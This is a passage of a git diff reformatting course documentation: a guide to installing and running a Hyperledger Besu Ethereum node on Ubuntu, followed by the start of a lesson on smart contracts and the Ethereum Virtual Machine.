Prerequisites - Install the Operating system - Configure drives (and possibly mount) - Install software ( Java and Besu ) - Create a service file (stop start and enable) - Monitor and be patient + --- + ## Hardware requirements and future thoughts When considering hardware, there are a number of important factors: @@ -31,82 +37,97 @@ When considering hardware, there are a number of important factors: 1. Minimum requirements for syncing and maintaining sync. 2. How soon do you want the node to be up and running? ( Faster storage and CPU ) 3. How long do you intend on running the node for? -4. What kind of node you are running [Besu Node Types](https://besu.hyperledger.org/en/stable/Concepts/Node-Types/){target=_blank}. Note: Other clients (e.g. Geth) may have similar and additional options. +4. What kind of node you are running [Besu Node Types](https://besu.hyperledger.org/en/stable/Concepts/Node-Types/){target=\_blank}. Note: Other clients (e.g. Geth) may have similar and additional options. 5. How much traffic are you personally/or your business intending on sending to the node? (can the node support many concurrent users) 6. With everything cost is always a factor. Please consider these questions carefully weighing up future extension, whether it be storage space or CPU speed. Disk space upgrades will more than likely be the only real concern if the CPU is able to process transactions fast enough. 7. Do you have internet speed/data allowance concerns? All of the considerations above will affect your choice in hardware and if you are able to successfully run a node. -1. You will need at least 8GB of RAM and a fast hard drive [SSD/mSATA/NVME](https://www.kingston.com/unitedkingdom/en/community/articledetail/articleid/48543){target=_blank} - Sata HDDs are too slow to maintain and get to sync. Depending on your storage configuration, swap space/virtual memory may be on the same disk making HDDs even less of an option. External USB3.x SSDs have also been used to sync. Weigh up disk speed, cost, longevity, and size. At end of June 2022, a currently sync'd node with fast sync Bonsai storage is using 611GB and a Full non-Bonsai fast sync node is 980GB and growing. +1. You will need at least 8GB of RAM and a fast hard drive [SSD/mSATA/NVME](https://www.kingston.com/unitedkingdom/en/community/articledetail/articleid/48543){target=\_blank} - Sata HDDs are too slow to maintain and get to sync. Depending on your storage configuration, swap space/virtual memory may be on the same disk making HDDs even less of an option. External USB3.x SSDs have also been used to sync. Weigh up disk speed, cost, longevity, and size. At end of June 2022, a currently sync'd node with fast sync Bonsai storage is using 611GB and a Full non-Bonsai fast sync node is 980GB and growing. 2. CPU is a bottlenecking factor - As an example, A Raspberry PI 4 overclocked to 2.147ghz sat at 100% for +-4 weeks syncing, whereas a Celeron G3930 took 10 days to sync. While it is possible to sync with a Raspberry PI, a vast amount of patience is required. As the chain grows in size, this time will increase, so depending on your timelines and usage, a Raspberry Pi may not be for you. **Note:** When rollups and sharding come into play, this may require a rethink, as CPU may need to be faster to keep up when processing rollups. -3. With [EIP-4844](https://blog.developerdao.com/eip-4844-and-its-impact-on-ethereum-scalability){target=_blank} coming down the track (eta unknown), an installation may run out of storage space where you will require easily an additional 2.2TB (+-) of storage (`10mb * 5 blocks per min * 60 mins per hour * 24hrs a day * 30 days`) - you can get away with a 2TB disk to start, but will/may need more when it eventually happens depending on implementation. **Note:** the estimates here and implementation is speculative. +3. With [EIP-4844](https://blog.developerdao.com/eip-4844-and-its-impact-on-ethereum-scalability){target=\_blank} coming down the track (eta unknown), an installation may run out of storage space where you will require easily an additional 2.2TB (+-) of storage (`10mb * 5 blocks per min * 60 mins per hour * 24hrs a day * 30 days`) - you can get away with a 2TB disk to start, but will/may need more when it eventually happens depending on implementation. **Note:** the estimates here and implementation is speculative. -4. **Note** If you run something like Geth, you can also run a "light node" [All node types](https://ethereum.org/en/developers/docs/nodes-and-clients/){target=_blank} vs. a Full or Archive Node +4. **Note** If you run something like Geth, you can also run a "light node" [All node types](https://ethereum.org/en/developers/docs/nodes-and-clients/){target=\_blank} vs. a Full or Archive Node 5. If you are expecting many users to access your node through MetaMask or other wallets vs. just a few home users, more resources are recommended for processing and data access. + --- + ## Installation ### Tools/Software + - Storage drive for installation of operating system ( MicroSD for a Raspberry PI ) - Optional drive for Node data - USB stick for installing -- Software for creating a bootable USB [Balena Etcher](https://www.balena.io/etcher/){target=_blank} (Cross platform) or if you prefer [Rufus](https://rufus.ie/){target=_blank} (Windows only) +- Software for creating a bootable USB [Balena Etcher](https://www.balena.io/etcher/){target=\_blank} (Cross platform) or if you prefer [Rufus](https://rufus.ie/){target=\_blank} (Windows only) ## Operating System -- Download an appropriate server install image [Ubuntu Downloads](https://ubuntu.com/download/server){target=_blank} with the matching architecture (ARM is available as another option). +- Download an appropriate server install image [Ubuntu Downloads](https://ubuntu.com/download/server){target=\_blank} with the matching architecture (ARM is available as another option). + +- If you do decide to try it on a Raspberry Pi, the images can be found at [Ubuntu for Raspberry Pi](https://ubuntu.com/download/raspberry-pi){target=\_blank} and the install process for ARM will need to be used. -- If you do decide to try it on a Raspberry Pi, the images can be found at [Ubuntu for Raspberry Pi](https://ubuntu.com/download/raspberry-pi){target=_blank} and the install process for ARM will need to be used. +### Installing on a Raspberry Pi -### **Installing on a Raspberry Pi** - - burn the image to the MicroSD - - put it in the Pi - - start the Pi and follow any configuration steps +- burn the image to the MicroSD +- put it in the Pi +- start the Pi and follow any configuration steps -### **Installing on a dedicated non-Pi machine** +### Installing on a dedicated non-Pi machine - Create a bootable USB stick with the operating system - - [Mac](https://ubuntu.com/tutorials/create-a-usb-stick-on-macos#1-overview){target=_blank} - - [Ubuntu](https://ubuntu.com/tutorials/create-a-usb-stick-on-ubuntu#3-launch-startup-disk-creator){target=_blank} - - [Windows](https://ubuntu.com/tutorials/create-a-usb-stick-on-windows#1-overview){target=_blank} + - [Mac](https://ubuntu.com/tutorials/create-a-usb-stick-on-macos#1-overview){target=\_blank} + - [Ubuntu](https://ubuntu.com/tutorials/create-a-usb-stick-on-ubuntu#3-launch-startup-disk-creator){target=\_blank} + - [Windows](https://ubuntu.com/tutorials/create-a-usb-stick-on-windows#1-overview){target=\_blank} - Set your machine's BIOS to boot from the USB - Boot from the USB -- Install the operating system enabling SSH [Install Step by Step](https://ubuntu.com/server/docs/install/step-by-step){target=_blank}. You won't need to install any snaps. +- Install the operating system enabling SSH [Install Step by Step](https://ubuntu.com/server/docs/install/step-by-step){target=\_blank}. You won't need to install any snaps. - The default file format is `ext4`, if you prefer `xfs` works as well - When creating a user, this will be your admin user, once installation is complete and the server rebooted, a specific user will be created to run Besu with. + --- -## **Initial OS Post-Installation Steps (both Pi and Non-Pi)** + +## Initial OS Post-Installation Steps (both Pi and Non-Pi) ## Upgrades + - Update and upgrade to make sure you have the latest packages (`sudo apt update && sudo apt upgrade -y && sudo reboot`) + --- + ## Utilities + - Install some basic utilities for networking and disk monitoring (`sudo apt install net-tools dstat jq -y`) - net-tools (for basic networking tools) - dstat (to monitor disk usage) - - jq for nicely formatting RPC responses + - jq for nicely formatting RPC responses + --- + ## Networking **This assumes a wired network connection** -In order to make life easier when accessing your node/machine from other machines in the network or via SSH, it is advisable to set up a static IP Address. +In order to make life easier when accessing your node/machine from other machines in the network or via SSH, it is advisable to set up a static IP Address. + - Configure a static IP on your router for the MAC address if you are able to - To see your current IP address type in `ifconfig` - you should see something like `eth0` or `enp0s31f6` and a value next to `inet` for your IP - your MAC should be next to `ether` - ``` - inet 192.168.85.6 netmask 255.255.255.0 broadcast 192.168.85.255 - inet6 fe23::7223:c2ff:fe69:81aa prefixlen 64 scopeid 0x20 - ether 50:a5:c2:6a:81:12 txqueuelen 1000 (Ethernet) - ``` + + ```bash + inet 192.168.85.6 netmask 255.255.255.0 broadcast 192.168.85.255 + inet6 fe23::7223:c2ff:fe69:81aa prefixlen 64 scopeid 0x20 + ether 50:a5:c2:6a:81:12 txqueuelen 1000 (Ethernet) + ``` + - Assign a static private IP address to your node with netplan ( see example below ) - Edit your network configuration file (your name may differ) to create a static address for easy access (`sudo nano /etc/netplan/`) - **note** the spacing is critical. If done, and using nano press `control-o` and then after, press `enter` to save, followed by `control-x` to exit - - see [netplan](https://netplan.io/examples/){target=_blank} for more instructions if you get stuck or want to know about wireless configuration + - see [netplan](https://netplan.io/examples/){target=\_blank} for more instructions if you get stuck or want to know about wireless configuration **An example:** @@ -116,7 +137,7 @@ In `/etc/netplan/50-cloud-init.yaml` (your name may be different - check `ls /et `Invalid YAML at /etc/netplan/50-cloud-init.yaml line 7 column 6: did not find expected key` -``` +```yaml network: version: 2 ethernets: @@ -129,23 +150,28 @@ network: - to: default via: 192.168.50.1 ``` + - Press `sudo netplan apply` to set the changes immediately (you may be disconnected if you are on another address) - These changes should persist post reboot --- + ## Disk management -**Disk allocation** -- If you are using an internal SSD, check all the space on the disk has been allocated ( `df -ha`) +### Disk allocation + +- If you are using an internal SSD, check all the space on the disk has been allocated (`df -ha`) You should see something like -``` + +```bash /dev/mapper/ubuntu--vg-ubuntu--lv 109G 7.8G 96G 8% / ``` -If this does not match your drive size, you might consider extending the space: **USE WITH CAUTION** [Extend your lvm space](https://packetpushers.net/ubuntu-extend-your-default-lvm-space/){target=_blank} +If this does not match your drive size, you might consider extending the space: **USE WITH CAUTION** [Extend your lvm space](https://packetpushers.net/ubuntu-extend-your-default-lvm-space/){target=\_blank} ### If using an internal disk + - add a folder to contain node data (`sudo mkdir /besu`) ### If using an external disk @@ -153,10 +179,11 @@ If this does not match your drive size, you might consider extending the space: **Format and mount an external drive** The main steps for this + - Plug the external drive in - Type `sudo fdisk -l` - this should show you a list of devices - e.g. -``` +```bash Disk /dev/sdb: 1.82 TiB, 2000398934016 bytes, 3907029168 sectors Disk model: Portable SSD T5 Units: sectors of 1 * 512 = 512 bytes @@ -165,11 +192,13 @@ I/O size (minimum/optimal): 512 bytes / 33553920 bytes ``` Once worked out which is your disk (e.g. `/dev/sdb` here) -- `sudo mkfs.xfs /dev/sdb` [see all formatting options](https://linux.die.net/man/8/mkfs.xfs){target=_blank} + +- `sudo mkfs.xfs /dev/sdb` [see all formatting options](https://linux.die.net/man/8/mkfs.xfs){target=\_blank} - follow the prompts pressing yes where you need to (**be sure it is the correct drive**) You should see output similar to: -``` + +```bash mkfs.xfs /dev/sdb meta-data=/dev/sdb isize=512 agcount=4, agsize=5242880 blks = sectsz=512 attr=2, projid32bit=1 @@ -190,10 +219,11 @@ To make this mounting will persist on reboot: - type `sudo blkid`- you should see entries similar to: -``` +```bash /dev/sdb: UUID="b8222ca7-29dd-44c0-be50-7ffcc3348c14" TYPE="LVM2_member" PARTUUID="1e95b59d-4481-4e04-a016-24a099e7ae64" or /dev/sdb: UUID="b8222ca7-29dd-44c0-be50-7ffcc3348c14" PARTUUID="1e95b59d-4481-4e04-a016-24a099e7ae64" ``` + - find the UUID that matches your device and `copy the UUID (not quotes)` - type `sudo nano /etc/fstab` where you will store the reboot settings - add a line at the bottom `UUID=b8222ca7-29dd-44c0-be50-7ffcc3348c14 /mnt/ssd xfs defaults 0 0` replacing the UUID with yours @@ -201,7 +231,7 @@ To make this mounting will persist on reboot: - reboot to confirm changes and auto-mounting `sudo reboot` - when rebooted and logged in type `df -ha` and you should see entries similar to the following ( last line ) -``` +```bash Filesystem Size Used Avail Use% Mounted on sysfs 0 0 0 - /sys proc 0 0 0 - /proc @@ -210,22 +240,25 @@ devpts 0 0 0 - /dev/pts /dev/sdb 1.9T 0G 1.9T 0% /mnt/ssd ``` -**Adjusting Swap space** +### Adjusting Swap space -Depending on how many disks you have installed and if they are internal/external, the pathing instructions below would need to be adjusted [see full instructions](https://linuxize.com/post/how-to-add-swap-space-on-ubuntu-20-04/){target=_blank} -- Swap space on some installs are added by default ( not on the Pi ), follow this if you want extra swap space +Depending on how many disks you have installed and if they are internal/external, the pathing instructions below would need to be adjusted [see full instructions](https://linuxize.com/post/how-to-add-swap-space-on-ubuntu-20-04/){target=\_blank} + +- Swap space on some installs are added by default ( not on the Pi ), follow this if you want extra swap space - Replace `/swapfile` below with `/mnt/ssd/swapfile` if you want to use the external drive - i.e if the Pi is using a slower MicroSD - Add swap space (generally a 1:1 with physical memory depending on how much you have) `sudo fallocate -l 8G /swapfile` (or `sudo fallocate -l 8G /swapfile`) -- Set permissions `sudo chmod 600 /swapfile` or `/mnt/ssd/swapfile` -- Convert the file to swap `sudo mkswap /swapfile` or `/mnt/ssd/swapfile` -- Turn it on `sudo swapon /swapfile` or `/mnt/ssd/swapfile` +- Set permissions `sudo chmod 600 /swapfile` or `/mnt/ssd/swapfile` +- Convert the file to swap `sudo mkswap /swapfile` or `/mnt/ssd/swapfile` +- Turn it on `sudo swapon /swapfile` or `/mnt/ssd/swapfile` - Open the boot file to turn it on at reboot `sudo nano /etc/fstab` ( you may notice an existing `swap.img` file already created matching your memory) - Add an entry at the bottom `/swapfile swap swap defaults 0 0` - then `Control-o`, `Enter` and `Control-x` to save and quit - Show the swap space available `sudo swapon --show` + --- -## BESU BUILD AND INSTALL STEPS -At this point, you should have an updated machine with swap space, a custom user to run the process under and a disk that is ready to go. +## Besu: build and install steps + +At this point, you should have an updated machine with swap space, a custom user to run the process under and a disk that is ready to go. - check for java (`java --version`) - this should either give you a version or tell what versions are available to install - install java with a current version (`sudo apt install openjdk-17-jre-headless -y`) ( or a higher version ) @@ -233,41 +266,45 @@ At this point, you should have an updated machine with swap space, a custom user For Raspberry Pi see: - Oracle and Java.net -- [sdkman](https://sdkman.io/){target=_blank} -- [adoptium](https://adoptium.net/temurin/releases/){target=_blank} -- Follow the instructions there +- [sdkman](https://sdkman.io/){target=\_blank} +- [adoptium](https://adoptium.net/temurin/releases/){target=\_blank} +- Follow the instructions there Once installed -- check for java (`java --version`) to make sure it installed -### Summarised build steps -``` -- install dependencies: sudo apt install libsodium23 libnss3 -y -- make a folder for code: mkdir ~/code -- navigate to the folder: cd ~/code -- clone the source code: git clone --recursive https://github.com/hyperledger/besu -- navigate to source: cd besu -- switch to a release branch (to find these type: git branch -r) e.g. git checkout release-22.4.0 or stay on main for latest +- check for java (`java --version`) to make sure it installed + +### Summarized build steps + +- install dependencies: `sudo apt install libsodium23 libnss3 -y` +- make a folder for code: `mkdir ~/code` +- navigate to the folder: `cd ~/code` +- clone the source code: `git clone --recursive https://github.com/hyperledger/besu` +- navigate to source: `cd besu` +- switch to a release branch (to find these type: `git branch -r`) e.g. `git checkout release-22.4.0` or stay on main for latest To see all of the gradle tasks that are available (or just skip to installDist) +```bash cd besu (if not already) ./gradlew installDist (wait for it to complete) - ``` ### Install Steps + - Once the build steps are complete - Copy the `besu` folder from the build folder to `/usr/bin/` e.g. `sudo cp -r ~/code/besu/build/install/besu /usr/bin/besu` - Check your besu version `/usr/bin/besu/bin/besu --version` -- Add user to run the process under e.g. `sudo useradd username` ( e.g. `sudo useradd eth`) - for more in depth options on users: [Creating users with useradd](https://linuxize.com/post/how-to-create-users-in-linux-using-the-useradd-command/){target=_blank} +- Add user to run the process under e.g. `sudo useradd username` ( e.g. `sudo useradd eth`) - for more in depth options on users: [Creating users with useradd](https://linuxize.com/post/how-to-create-users-in-linux-using-the-useradd-command/){target=\_blank} + +#### If using an internal disk -**If using an internal disk** - Assign ownership of the besu folder `sudo chown -R eth:eth /besu` (replace `eth` with your chosen username) - this is needed to create and maintain files -**If using a mounted disk** +#### If using a mounted disk + - Assign ownership of the besu folder `sudo chown -R eth:eth /mnt/ssd/besu` - this is needed to create and maintain files -**Create a Service/Unit File** +#### Create a Service/Unit File - type in `sudo nano /etc/systemd/system/besu.service` - paste in the below after changing the following values: @@ -277,7 +314,7 @@ cd besu (if not already) - `--p2p-host` can be changed to an external IP if fixed for discovery - default is 0.0.0.0 - `--data-path=` should point to where you want to store the data ( `/besu` or `/mnt/ssd/besu`) -``` +```config [Unit] Description=Besu daemon After=network-online.target @@ -319,7 +356,7 @@ WantedBy=multi-user.target - type `sudo systemctl start besu` - this should start the service - type `sudo systemctl status besu` - this should show you the status - similar to: -``` +```bash ● besu.service - Besu daemon Loaded: loaded (/etc/systemd/system/besu.service; enabled; vendor preset: enabled) Active: active (running) since Sun 2022-06-26 19:37:21 UTC; 15h ago @@ -334,28 +371,30 @@ WantedBy=multi-user.target - type `sudo systemctl enable besu` - this will let it start on reboot **Monitoring the service** + - type `tail -f /var/log/syslog` to follow the logs `control-c` to exit - type `sudo systemctl status besu` to see if it is running - type `dstat` to see the disk usage - if it sits at 0 for a long time it may be stalled - create a get block script - type `sudo nano getBlock.sh` - paste in the following changing the IP address (192.168.50.18) to your server IP - - ``` + + ```bash #!/bin/bash val=$(curl -X POST --data '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":51}' http://192.168.50.18:8545 --silent | jq -r '.result') echo $(($val)) ``` + - press `control-o` and then after, press `enter` to save, followed by `control-x` to exit - type `sudo chmod +x getBlock.sh` to allow it to be executed - to run it type `./getBlock.sh` - this will tell you how far it has gotten - - additional commands you can create scripts with (e.g. [eth_syncing](https://besu.hyperledger.org/en/stable/Reference/API-Methods/#eth_syncing){target=_blank}) - see [API](https://besu.hyperledger.org/en/stable/Reference/API-Methods/){target=_blank} + - additional commands you can create scripts with (e.g. [eth_syncing](https://besu.hyperledger.org/en/stable/Reference/API-Methods/#eth_syncing){target=\_blank}) - see [API](https://besu.hyperledger.org/en/stable/Reference/API-Methods/){target=\_blank} ### Connecting to your node with Metamask You should, once your node has synced (you should be seeing lines like the below one) be able to connect to Metamask locally: -``` +```bash Jul 6 00:15:37 besutestbed besu[124324]: 2022-07-06 00:15:37.663+00:00 | EthScheduler-Workers-2 | INFO | PersistBlockTask | Imported #15,085,695 / 17 tx / 0 om / 1,828,694 (6.1%) gas / (0x22135e43ea450cf089fe8d0916a82a3598516badc9363df7bc8e86b1dfbf71da) in 0.289s. Peers: 54 ``` @@ -366,30 +405,36 @@ Android Metamask Mobile requires an `https` site - another article will show you ## Final thoughts and security considerations ### Ports and port forwarding -It is possible to sync without opening external ports into your network, however this means all peer initiation and finding will purely be from your node, which potentially will be slower. If you do decided to open a port and forward it into your network, `it should only ever be port 30303 for peering`. As with any port opening and forwarding, do so with caution. [What is port forwarding](https://cybernews.com/what-is-vpn/port-forwarding/){target=_blank}. You might consider adding in a firewall to be more secure. -### Segementing internal networks +It is possible to sync without opening external ports into your network, however this means all peer initiation and finding will purely be from your node, which potentially will be slower. If you do decided to open a port and forward it into your network, `it should only ever be port 30303 for peering`. As with any port opening and forwarding, do so with caution. [What is port forwarding](https://cybernews.com/what-is-vpn/port-forwarding/){target=\_blank}. You might consider adding in a firewall to be more secure. + +### Segmenting internal networks + If you are up for more advanced networking and your hardware supports it, you could consider creating different VLANs on your network disallowing the node to talk out to your internal network, but you can talk into it to use it as your RPC endpoint for your wallet (e.g. Metamask). ### Publicly exposed IP Addresses -If you are a home user running a node, please keep in mind that your IP address will be visible to other node operators giving them a rough idea of your geolocation. Additionally, if your port forwarding is open, sites such as [ethernodes](https://ethernodes.org/){target=_blank} will index your IP. From a privacy perspective, you may want to run your node over a dedicated IP VPN. Keep in mind this may require other hardware and technical skill. + +If you are a home user running a node, please keep in mind that your IP address will be visible to other node operators giving them a rough idea of your geolocation. Additionally, if your port forwarding is open, sites such as [ethernodes](https://ethernodes.org/){target=\_blank} will index your IP. From a privacy perspective, you may want to run your node over a dedicated IP VPN. Keep in mind this may require other hardware and technical skill. ### Outdate software and operating system + - always check for and apply updates `sudo apt update && sudo apt upgrade -y` ### Future Considerations + - EIP-4844 - 30 days worth of 10mb rolled up data ## Resources -- https://consensys.net/blog/news/bonsai-tries-a-big-update-for-small-state-storage-in-hyperledger-besu/ -- https://besu.hyperledger.org/en/stable/HowTo/Get-Started/Installation-Options/Options/ -- https://wiki.hyperledger.org/display/BESU/Building+from+source -- https://blog.developerdao.com/eip-4844-and-its-impact-on-ethereum-scalability -- https://www.freedesktop.org/software/systemd/man/systemd.exec.html -- https://netplan.io/examples/ -- https://ubuntu.com/server/docs/install/step-by-step -- https://linuxize.com/post/how-to-add-swap-space-on-ubuntu-20-04/ -- https://linuxize.com/post/how-to-create-users-in-linux-using-the-useradd-command/ -- https://cybernews.com/what-is-vpn/port-forwarding/ -- https://ethernodes.org/ -- https://besu.hyperledger.org/en/stable/Reference/API-Methods/ \ No newline at end of file + +- [ConsenSys News: Bonsai tries](https://consensys.net/blog/news/bonsai-tries-a-big-update-for-small-state-storage-in-hyperledger-besu/){target=\_blank} +- [Besu: Installation options](https://besu.hyperledger.org/en/stable/public-networks/get-started/install/){target=\_blank} +- [Besu: Building from source](https://wiki.hyperledger.org/display/BESU/Building+from+source){target=\_blank} +- [EIP-4844 and its Impact on Ethereum Scalability](https://blog.developerdao.com/eip-4844-and-its-impact-on-ethereum-scalability){target=\_blank} +- [systemd.exec — Execution environment configuration](https://www.freedesktop.org/software/systemd/man/systemd.exec.html){target=\_blank} +- [Netplan configuration examples](https://netplan.io/examples/){target=\_blank} +- [Ubuntu: Using the installer step by step](https://ubuntu.com/server/docs/install/step-by-step){target=\_blank} +- [How to Add Swap Space on Ubuntu 20.04](https://linuxize.com/post/how-to-add-swap-space-on-ubuntu-20-04/){target=\_blank} +- [How to Create Users in Linux (useradd Command)](https://linuxize.com/post/how-to-create-users-in-linux-using-the-useradd-command/){target=\_blank} +- [What is port forwarding and how safe is it?](https://cybernews.com/what-is-vpn/port-forwarding/){target=\_blank} +- [ethernodes](https://ethernodes.org/){target=\_blank} +- [Besu: API methods](https://besu.hyperledger.org/en/stable/public-networks/reference/api/){target=\_blank} diff --git a/docs/S03-smart-contracts/M1-mental-model/L1-mental-model-sc/index.md b/docs/S03-smart-contracts/M1-mental-model/L1-mental-model-sc/index.md index 78a4a337..8faff14d 100644 --- a/docs/S03-smart-contracts/M1-mental-model/L1-mental-model-sc/index.md +++ b/docs/S03-smart-contracts/M1-mental-model/L1-mental-model-sc/index.md @@ -1,85 +1,79 @@ - Where Do Smart Contracts Fit in Our Mental Model? -================================================= +# Where Do Smart Contracts Fit in Our Mental Model? - In this chapter, we're going to dive deeper into **smart contracts**: What they are, how they work and how you can build with them safely. +In this chapter, we're going to dive deeper into **smart contracts**: What they are, how they work and how you can build with them safely. - First, a general definition. [Smart contracts](https://en.wikipedia.org/wiki/Smart_contract){target=_blank} are programs deployed to a blockchain network that automatically execute when triggered by valid transactions. A basic analogy for a smart contract is a vending machine: The customer puts in money, punches in the code of the desired item. Assuming a valid input, the vending machine will release the desired item. +First, a general definition. [Smart contracts](https://en.wikipedia.org/wiki/Smart_contract){target=\_blank} are programs deployed to a blockchain network that automatically execute when triggered by valid transactions. A basic analogy for a smart contract is a vending machine: The customer puts in money, punches in the code of the desired item. Assuming a valid input, the vending machine will release the desired item. - The following properties are desired in any smart contract system: - - **Trustless** Meaning two or more parties can act on an agreement without relying on any intermediary to facilitate the transaction - - **Universally Accessible** Meaning every participant must be able to access and use the system. They should not have to rely on anyone’s approval to participate in the network. - - **Traceable** Contract transactions should be traceable. Data provenance is critical to resolving disputes and for legal compliance. - - **Immutable transactions** Transactions should be irreversible (atomic). Participants should not be able to revoke their decisions, just as legal contracts are binding, so are smart contracts. - - **Self executing** We want to move as far away from manual implementation as possible and have these contracts be automatic. The extent that the self executing contract is self executing is subject to use case variability. - +The following properties are desired in any smart contract system: - To understand where smart contracts fit into blockchains, let's review the blockchain mental model we constructed in the first chapter. +- **Trustless** Meaning two or more parties can act on an agreement without relying on any intermediary to facilitate the transaction +- **Universally Accessible** Meaning every participant must be able to access and use the system. They should not have to rely on anyone’s approval to participate in the network. +- **Traceable** Contract transactions should be traceable. Data provenance is critical to resolving disputes and for legal compliance. +- **Immutable transactions** Transactions should be irreversible (atomic). Participants should not be able to revoke their decisions, just as legal contracts are binding, so are smart contracts. +- **Self executing** We want to move as far away from manual implementation as possible and have these contracts be automatic. The extent that the self executing contract is self executing is subject to use case variability. - ![mental model of a general blockchain](../../../img/S01/ag-blockchain-1.png) +To understand where smart contracts fit into blockchains, let's review the blockchain mental model we constructed in the first chapter. - Let's zoom into the **Network Interface — Consensus Protocol — Network State** elements on the lower left corner. We'll also update the names for the Ethereum network: +![mental model of a general blockchain](../../../img/S01/ag-blockchain-1.png) - ![diagram showing transaction processing in ethereum network](../../../img/S03/sc-mm.png) +Let's zoom into the **Network Interface — Consensus Protocol — Network State** elements on the lower left corner. We'll also update the names for the Ethereum network: - The Ethereum Virtual Machine (EVM) is a secure execution environment for smart contracts. EVM bytecode is executed on the Ethereum Virtual Machine and the outcome constitutes the new world state. The EVM is Turing-complete, meaning it can execute more advanced code than the Bitcoin network. However, to make sure transactions don't loop forever, transactions on the Ethereum network also have gas limits, as we've discussed. +![diagram showing transaction processing in ethereum network](../../../img/S03/sc-mm.png) - ![ethereum network as a series of state transitions](../../../img/S03/state-transition.png) +The Ethereum Virtual Machine (EVM) is a secure execution environment for smart contracts. EVM bytecode is executed on the Ethereum Virtual Machine and the outcome constitutes the new world state. The EVM is Turing-complete, meaning it can execute more advanced code than the Bitcoin network. However, to make sure transactions don't loop forever, transactions on the Ethereum network also have gas limits, as we've discussed. - EVM bytecode is machine code, meaning it's very difficult for humans to read or program in. However, core developers have built higher-order smart contract languages that compile to EVM bytecode. One well-known higher-order smart contract language that compiles down to EVM bytecode is **Solidity**. +![ethereum network as a series of state transitions](../../../img/S03/state-transition.png) - Here's a diagram showing how Solidity code compiles down into EVM bytecode, which is then deployed to the Ethereum network: +EVM bytecode is machine code, meaning it's very difficult for humans to read or program in. However, core developers have built higher-order smart contract languages that compile to EVM bytecode. One well-known higher-order smart contract language that compiles down to EVM bytecode is **Solidity**. - ![diagram showing how solidity compiles to bytecode](../../../img/S03/evm-layers.png) +Here's a diagram showing how Solidity code compiles down into EVM bytecode, which is then deployed to the Ethereum network: - Smart Contract Workflows: Creation and Execution ------------------------------------------------- +![diagram showing how solidity compiles to bytecode](../../../img/S03/evm-layers.png) - There are two practical types of transactions involving smart contracts: **Contract creation** and **Message call** ![two kinds of contract calls](../../../img/S03/evm-contract-accounts.png) +## Smart Contract Workflows: Creation and Execution - The image below shows the contract creation process. When a smart contract is deployed to the network, the code is initialized and states are created with addresses. +There are two practical types of transactions involving smart contracts: **Contract creation** and **Message call** ![two kinds of contract calls](../../../img/S03/evm-contract-accounts.png) - ![graphic of contract creation](../../../img/S03/evm-contract-creation.png) +The image below shows the contract creation process. When a smart contract is deployed to the network, the code is initialized and states are created with addresses. - Here, we can see the high-level process of the EVM executing a transaction to a smart contract. The transaction includes input data, which is fed into the smart contract bytecode. The outcome of the transaction contributes to the network state change. +![graphic of contract creation](../../../img/S03/evm-contract-creation.png) - ![graphic showing a smart contract execution](../../../img/S03/evm-txn-process.png) +Here, we can see the high-level process of the EVM executing a transaction to a smart contract. The transaction includes input data, which is fed into the smart contract bytecode. The outcome of the transaction contributes to the network state change. - Let's look further into how the EVM handles deployed bytecode and contract data when it executes a transaction's EVM bytecode. +![graphic showing a smart contract execution](../../../img/S03/evm-txn-process.png) - ![EVM stack architecture](../../../img/S03/evm-architecture.png) +Let's look further into how the EVM handles deployed bytecode and contract data when it executes a transaction's EVM bytecode. - While there are a lot of elements to this picture, try to keep in mind we are looking at a simple state machine. State is fed into the stack, the EVM processes the stack, and the result is either saved, if it affects the network state, or discarded, if it was only necessary for the transaction execution. +![EVM stack architecture](../../../img/S03/evm-architecture.png) -The state in the EVM stack is in three areas: -* **Memory** This is *[volatile](https://en.wikipedia.org/wiki/Volatile_memory){target=_blank}* memory, meaning that, unless it is explicitly written back into the network state, will only be accessible during the transaction execution. -* **Storage** This is persistent memory taken from the network state. Read and writing to the network state is more expensive, gas-wise, than memory, since it affects the global state of the network. -* **Stack** The information processed by the EVM stack while going through the bytecode. (Stack is a data structure used by all computer processors, you can learn more about it [here](https://en.wikipedia.org/wiki/Stack_(abstract_data_type)){target=_blank} +While there are a lot of elements to this picture, try to keep in mind we are looking at a simple state machine. State is fed into the stack, the EVM processes the stack, and the result is either saved, if it affects the network state, or discarded, if it was only necessary for the transaction execution. - +The state in the EVM stack is in three areas: - When the EVM wishes to process a transaction, it first takes the input data, fetches the relevant contract bytecode and any world state account storage data. Then, the EVM processes the transaction data through the stack data type. Last, after the EVM has finished processed the transaction, it takes any world state data altered by the transaction and writes those changes to the world state. The diagram below illustrates this process (note that PC is the Program Counter, essentially keeping track of the steps to measure gas): +- **Memory** This is _[volatile](https://en.wikipedia.org/wiki/Volatile_memory){target=\_blank}_ memory, meaning that, unless it is explicitly written back into the network state, will only be accessible during the transaction execution. +- **Storage** This is persistent memory taken from the network state. Read and writing to the network state is more expensive, gas-wise, than memory, since it affects the global state of the network. +- **Stack** The information processed by the EVM stack while going through the bytecode. (Stack is a data structure used by all computer processors, you can learn more about it [here](){target=\_blank} - ![](../../../img/S03/evm-execution-model.png) +When the EVM wishes to process a transaction, it first takes the input data, fetches the relevant contract bytecode and any world state account storage data. Then, the EVM processes the transaction data through the stack data type. Last, after the EVM has finished processed the transaction, it takes any world state data altered by the transaction and writes those changes to the world state. The diagram below illustrates this process (note that PC is the Program Counter, essentially keeping track of the steps to measure gas): - The handling of memory and storage in the transaction execution process can be one of the hardest challenges for new developers in the space. We'll go over it more in the Solidity section, but be aware it's a different level of programming than a typical JavaScript or Python developer encounters. +![EVM execution model](../../../img/S03/evm-execution-model.png) - New Development and Security Considerations -------------------------------------------- +The handling of memory and storage in the transaction execution process can be one of the hardest challenges for new developers in the space. We'll go over it more in the Solidity section, but be aware it's a different level of programming than a typical JavaScript or Python developer encounters. - The process we've just outlined contains many challenges for developers entering the space, such as: - * **Smart contracts are immutable** They cannot be modified (only re-deployed). A common web development mantra is “move fast and break things”. This is not advisable in smart contract development due to this immutability. -* **High cost of failure** Typical software development that is this accessible does not involve potentially losing tremendous financial value. You're more likely to encounter this level of scrutiny and security in hardware and financial services programming. -* **Smart contracts information is public and anyone can call your public functions** Once your code is deployed and particularly if it starts accruing value, it will attract more opportunities for it to be hacked or misused. +## New Development and Security Considerations - In this section, we hope to both equip you with the ability to code smart contracts but also protect yourself and anyone interacting with your code. Most of all, we hope to instill in you a healthy sense of paranoia and fear about the code you deploy to public networks. However, we will also show you how to deal with this terror by protecting your code with smart and secure tools. +The process we've just outlined contains many challenges for developers entering the space, such as: - Additional Material -------------------- +- **Smart contracts are immutable** They 